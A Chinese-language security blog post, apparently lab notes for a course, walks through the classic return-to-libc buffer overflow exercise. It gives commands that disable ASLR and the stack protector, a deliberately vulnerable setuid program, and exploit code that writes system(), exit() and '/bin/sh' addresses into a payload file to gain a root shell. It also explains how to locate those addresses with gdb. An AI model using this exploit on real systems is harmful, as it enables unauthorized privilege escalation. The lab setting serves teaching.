軟體安全live第二期:軟體安全-return-to-libc攻防
來自專欄 ath0的安全筆記
本期live互動、答疑相關問題歸檔:
音效卡有點問題,前面都沒有聲音,最後用手機重新把框架和重點內容講了一遍,在第三期live中會比較第一期攻擊和第二期攻擊的區別和聯繫,謝謝。
【軟體安全】R-2-Libc攻防Return-to-libc Attack Lab
實驗目的:繞過棧保護機制,通過緩衝區溢出,獲取ubuntu12的root許可權
為了對抗緩衝區溢出漏洞,一般linux操作系統允許管理員設置棧不可執行,
這將直接導致將程序控制權直接跳轉到shellcode無法運行,造成攻擊失敗。為了對抗不可執行棧,聰明的黑客提出了return-to-libc攻擊。攻擊者不需要可執行的棧,
甚至不需要shellcode。return-to-libc攻擊通過將程序的控制權跳轉到系統自己的可執行代碼,例如,在libc庫中的system()函數,這些函數已經存在於內存中了。
實驗目標:
- 本次實驗將給出一個有緩衝區溢出漏洞的程序,你需要通過return-to-libc攻擊,並獲取root許可權。
- 你需要掌握堆棧模型,system()、exit()、「/bin/sh」在內存中的地址,掌握gdb調試。
準備工作
你可以在ubuntu12中完成本次實驗。為了簡化攻擊,我們需要關閉一些保護機制。
- 地址隨機化 su sysctl -w kernel.randomize_va_space=0
- 棧保護機制(canaria)gcc -fno-stack-protector ****.c
- 棧不可執行 gcc -z execstack ****.c
The Vulnerable Program
/* This program has a buffer overflow vulnerability. *//* Our task is to exploit this vulnerability */#include <stdlib.h>#include <stdio.h>#include <string.h>int bof(FILE *badfile){ char buffer[12]; /* The following statement has a buffer overflow problem */ fread(buffer, sizeof(char), 40, badfile); return 1;}int main(int argc, char **argv){ FILE *badfile; badfile = fopen("badfile", "r"); bof(badfile); printf("Returned Properly
"); fclose(badfile); return 1;}
為了後續return-to-libc攻擊能獲取到root許可權,而不是僅僅彈出一個普通用戶的shell,
我們需要編譯並設置有效id為root。
$ su rootPassword (enter root password)# gcc -fno-stack-protector -z noexecstack -o retlib retlib.c# chmod 4755 retlib# exit
當badfile文件中內容大小低於緩衝區大小的時候,程序正常。
當文件內容大小超過緩衝區大小的時候,程序異常,發生緩衝區溢出。
Exploting the Vulnerability
#include <stdlib.h>#include <stdio.h>#include <string.h>int main(int argc, char **argv){ char buf[40]; FILE *badfile; int base = 24; badfile = fopen("./badfile", "w"); /* You need to decide the addresses and the values for X, Y, Z. The order of the following three statements does not imply the order of X, Y, Z. Actually, we intentionally scrambled the order. */ *(long *) &buf[base+8] = 0xb7f7ff18; // "/bin/sh" *(long *) &buf[base] = 0xb7e5e430; // system() *(long *) &buf[base+4] = 0xb7e51fb0; // exit() fwrite(buf, sizeof(buf), 1, badfile); fclose(badfile);}
編譯運行:獲取root許可權
如何獲取libc函數地址?
創建一個簡單程序:
通過gdb查看libc中函數地址:
如何獲取字元串「/bin/sh」在內存中的地址?
- 方案1:設置一個臨時的環境變數MYSHELL=/bin/sh獲取這個環境變數在內存中的地址
- 方案2:用上面獲取libc的方式,在libc.so中尋找」/bin/sh」
如何理解函數調用?
AT&T彙編ebp寄存器:堆棧棧底esp寄存器:堆棧棧頂eax寄存器:保持函數返回的數據call foo的含義:pushl %eipmovl f,%eipleave的含義:movl %ebp,%esppopl %ebpret的含義:popl %eip
推薦閱讀:
※繞過CDN尋找網站真實IP的方法匯總
※信息系統定級與備案工作介紹
※信息生命周期(Day011)
※業務連續性計劃項目(Day009)
※HTTPS那些事之HTTPS原理